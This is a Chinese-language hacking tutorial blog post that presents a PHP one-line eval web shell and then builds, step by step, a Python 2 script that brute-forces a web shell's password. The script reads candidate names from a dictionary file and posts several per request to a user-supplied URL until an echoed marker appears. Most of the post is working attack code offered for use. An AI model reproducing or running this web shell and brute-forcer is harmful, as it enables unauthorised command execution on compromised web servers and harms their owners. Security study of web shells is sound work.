【PyHacker編寫指南】爆破一句話密碼
阿新 • • 發佈:2022-05-19
這節課是巡安似海PyHacker編寫指南的《編寫漏洞POC》
使用Python編寫一句話密碼爆破工具,解脫雙手。
編寫環境:Python2.x
00x1:
需要用到的模組如下:
import requests
00x2:
首先我們瞭解一下一句話木馬,一般post傳遞引數
一個簡單的php一句話木馬
<?php
eval($_POST['x'])
?>
先測試一下連線
OK,沒問題,我們用瀏覽器開啟傳參看一下
由此可以看到密碼為x,變數提交能匹配上即執行echo語句
這時我猜大家都有了思路,構造post請求即可
00x3:
這裡我們可以利用網址特性提交多個引數
這樣可以提高爆破效率
分析完成,下面我們開始進行寫指令碼
00x4:
簡單爆破shell密碼,shell為字典
#!/usr/bin/python #-*- coding:utf-8 -*- import requests def req(url,s): global html data = {s:'echo xc666;'} req = requests.post(url,data=data) html = req.content shell = ['z','y','x'] for s in shell: req('http://127.0.0.1/shell.php',s) if 'xc666' in html: print "[+]Find password",s break
00x5:
下面我們按我們剛才說的,一次多個引數,增加效率
首先整理一下字典
data = {s:'echo %s;'%s,ss:'echo %s;'%ss} shell = [] def shelllist(): f = open('shell.txt','r') for x in f.readlines(): #去除換行等字元 x = x.strip() shell.append(x) print u"shell密碼個數為:",len(shell)
for i in range(0,len(shell),2): #分割列表 b=shell[i:i+2] print b
我們一次性提交兩個引數測試一下
def main(): shelllist() for i in range(0,len(shell),2): #分割列表 b=shell[i:i+2] req('http://127.0.0.1/shell.php',b[0],b[1]) if b[0] in html: print "[+]Find password",b[0] break elif b[1] in html: print "[+]Find password", b[1] break main()
測試一下,一次執行兩個密碼
00x6:
完整程式碼:
一次爆破5次密碼,可自行調整
#!/usr/bin/python #-*- coding:utf-8 -*- import requests def req(url,s,ss,sss,ssss,sssss): global html data = {s:'echo xc666%s;'%s, ss:'echo xc666%s;'%ss, sss:'echo xc666%s;'%sss, ssss:'echo xc666%s;'%ssss, sssss:'echo xc666%s;'%sssss,} req = requests.post(url,data=data) html = req.content print req.url,s,ss,sss,ssss,sssss shell = [] def shelllist(): f = open('shell.txt','r') for x in f.readlines(): #去除換行等字元 x = x.strip() shell.append(x) print u"\nshell密碼個數為:",len(shell) def main(): shelllist() url = raw_input('\nshell url:') if 'http' not in url: url = 'http://'+url for i in range(0,len(shell),5): #分割列表 b=shell[i:i+5] req(url,b[0],b[1],b[2],b[3],b[4]) if "xc666%s"%b[0] in html: print "\n[+]Find password",b[0] break elif "xc666%s"%b[1] in html: print "\n[+]Find password", b[1] break elif "xc666%s"%b[2] in html: print "\n[+]Find password",b[2] break elif "xc666%s"%b[3] in html: print "\n[+]Find password", b[3] break elif "xc666%s"%b[4] in html: print "\n[+]Find password", b[4] break if __name__ == '__main__': main()喜歡的點個贊叭~